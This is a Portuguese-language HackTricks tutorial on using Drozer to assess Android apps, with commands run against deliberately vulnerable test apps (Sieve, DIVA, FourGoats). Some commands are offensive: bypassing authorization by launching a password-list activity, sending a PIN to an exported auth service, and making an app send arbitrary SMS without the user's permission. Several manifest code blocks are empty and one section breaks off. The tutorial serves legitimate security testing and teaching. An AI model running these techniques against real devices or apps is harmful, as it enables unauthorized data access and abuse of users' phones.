# Tutorial do Drozer
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## APKs para testar
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (do mrwlabs)
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
## Instalação
Instale o Cliente Drozer em seu host. Baixe-o das [últimas versões](https://github.com/mwrlabs/drozer/releases).
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
Baixe e instale o APK do drozer nas [últimas versões](https://github.com/mwrlabs/drozer/releases). No momento, é [este](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```
adb install drozer.apk
```
### Iniciando o Servidor
O agente está sendo executado na porta 31415, precisamos fazer um [redirecionamento de porta](https://pt.wikipedia.org/wiki/Redirecionamento_de_portas) para estabelecer a comunicação entre o Cliente Drozer e o Agente. Aqui está o comando para fazer isso:
```
adb forward tcp:31415 tcp:31415
```
Por fim, **inicie** o **aplicativo** e pressione o botão "**ON**"
![](<../../../.gitbook/assets/image (63).png>)
E conecte-se a ele:
```
drozer console connect
```
## Comandos Interessantes
| **Comandos** | **Descrição** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | Mostra a ajuda do módulo selecionado. |
| **list** | Mostra uma lista de todos os módulos do drozer que podem ser executados na sessão atual. Isso oculta módulos que você não tem permissões apropriadas para executar. |
| **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente. |
| **clean** | Remove arquivos temporários armazenados pelo drozer no dispositivo Android. |
| **load** | Carrega um arquivo contendo comandos drozer e os executa em sequência. |
| **module** | Encontra e instala módulos drozer adicionais da Internet. |
| **unset** | Remove uma variável nomeada que o drozer passa para quaisquer shells Linux que ele inicia. |
| **set** | Armazena um valor em uma variável que será passada como uma variável de ambiente para quaisquer shells Linux iniciados pelo drozer. |
| **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente. |
| **run MODULE** | Executa um módulo drozer. |
| **exploit** | Drozer pode criar exploits para executar no dispositivo. `drozer exploit list` |
| **payload** | Os exploits precisam de um payload. `drozer payload list` |
### Pacote
Encontre o **nome** do pacote filtrando por parte do nome:
```
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
**Informações básicas** do pacote:
```
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
```
Leia **Manifest**:
```
run app.package.manifest jakhar.aseem.diva
```
**Superfície de ataque** do pacote:
```
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
```
* **Atividades**: Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedi-lo de lançá-la.
* **Provedores de conteúdo**: Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (Injeção de SQL ou Traversal de Caminho).
* **Serviços**:
* **is debuggable**: [Saiba mais](./#is-debuggeable)
### Atividades
O valor "android:exported" de um componente de atividade exportado é definido como **"true"** no arquivo AndroidManifest.xml:
```markup
```
**Listar atividades exportadas**:
Para listar as atividades exportadas de um aplicativo Android, você pode usar o Drozer. Primeiro, inicie o Drozer e conecte-se ao dispositivo Android de destino. Em seguida, execute o seguinte comando:
```
run app.activity.info -a
```
Isso retornará uma lista de todas as atividades exportadas pelo aplicativo. As atividades exportadas podem ser exploradas por um invasor para acessar recursos do aplicativo que não deveriam ser acessíveis publicamente.
```
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
```
**Iniciar atividade**:
Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir que você a iniciasse.
```
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
Você também pode iniciar uma atividade exportada pelo **adb**:
* O nome do pacote é com.example.demo
* O nome da atividade exportada é com.example.test.MainActivity
```
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### Provedores de Conteúdo
Este post é muito grande para estar aqui, então **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md).
### Serviços
Um serviço exportado é declarado dentro do Manifest.xml:
```markup
```
Dentro do código, **verifique** a função `handleMessage` que irá **receber** a **mensagem**:
![](<../../../.gitbook/assets/image (194).png>)
#### Listar serviço
```
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
```
#### **Interagir** com um serviço
```
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
```
#### Exemplo
Dê uma olhada na ajuda do **drozer** para `app.service.send`:
![](<../../../.gitbook/assets/image (196) (1).png>)
Observe que você enviará primeiro os dados dentro de "_msg.what_", depois "_msg.arg1_" e "_msg.arg2_", você deve verificar dentro do código **quais informações estão sendo usadas** e onde.\
Usando a opção `--extra`, você pode enviar algo interpretado por "_msg.replyTo"_, e usando `--bundle-as-obj` você cria um objeto com os detalhes fornecidos.
No exemplo a seguir:
* `what == 2354`
* `arg1 == 9234`
* `arg2 == 1`
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
```
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
```
![](<../../../.gitbook/assets/image (195).png>)
### Receptores de Transmissão
Os aplicativos Android podem enviar ou receber mensagens de transmissão do sistema Android e de outros aplicativos Android, semelhante ao padrão de design [publicar-assinar](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe\_pattern). Essas transmissões são enviadas quando ocorre um evento de interesse. Por exemplo, o sistema Android envia transmissões quando vários eventos do sistema ocorrem, como quando o sistema é iniciado ou o dispositivo começa a carregar. Os aplicativos também podem enviar transmissões personalizadas, por exemplo, para notificar outros aplicativos sobre algo que possa ser de interesse para eles (por exemplo, alguns novos dados foram baixados).
Os aplicativos podem se registrar para receber transmissões específicas. Quando uma transmissão é enviada, o sistema automaticamente encaminha as transmissões para aplicativos que se inscreveram para receber esse tipo específico de transmissão.
Isso pode aparecer dentro do arquivo Manifest.xml:
```markup
```
De: [https://developer.android.com/guide/components/broadcasts](https://developer.android.com/guide/components/broadcasts)
Depois de descobrir esses receptores de transmissão, você deve **verificar o código** deles. Preste atenção especial à função \*\*`onReceive`\*\* pois ela será responsável por lidar com as mensagens recebidas.
#### **Detectar todos** os receptores de transmissão
```bash
run app.broadcast.info #Detects all
```
#### Verificar receptores de transmissão de um aplicativo
Para verificar os receptores de transmissão de um aplicativo, podemos usar o módulo `broadcast` do Drozer. Este módulo nos permite listar todos os receptores de transmissão registrados em um aplicativo e enviar uma transmissão para um receptor específico.
Para listar todos os receptores de transmissão de um aplicativo, podemos usar o seguinte comando:
```
dz> run app.broadcast.info -a
```
Isso nos dará uma lista de todos os receptores de transmissão registrados no aplicativo especificado.
Para enviar uma transmissão para um receptor específico, podemos usar o seguinte comando:
```
dz> run app.broadcast.send --component --extra :
```
Isso enviará uma transmissão para o receptor especificado com os extras especificados. Certifique-se de que o componente e os extras estejam corretos para evitar erros.
```bash
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### Interações de Broadcast
```
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
```
#### Enviar uma mensagem
Neste exemplo, abusando do Content Provider do apk [FourGoats](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk), você pode **enviar um SMS arbitrário** para qualquer destino não-premium **sem pedir** permissão ao usuário.
![](<../../../.gitbook/assets/image (199).png>)
![](<../../../.gitbook/assets/image (197) (1).png>)
Se você ler o código, os parâmetros "_phoneNumber_" e "_message_" devem ser enviados para o Content Provider.
```
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
### É depurável
Um APK de produção nunca deve ser depurável. Isso significa que você pode **anexar um depurador Java** à aplicação em execução, inspecioná-la em tempo de execução, definir pontos de interrupção, avançar passo a passo, coletar valores de variáveis e até mesmo alterá-los. [O InfoSec Institute tem um excelente artigo](../exploiting-a-debuggeable-applciation.md) sobre como aprofundar quando sua aplicação é depurável e injetar código em tempo de execução.
Quando um aplicativo é depurável, ele aparecerá no Manifesto:
```
**Dica de recompensa por bugs**: **inscreva-se** na **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.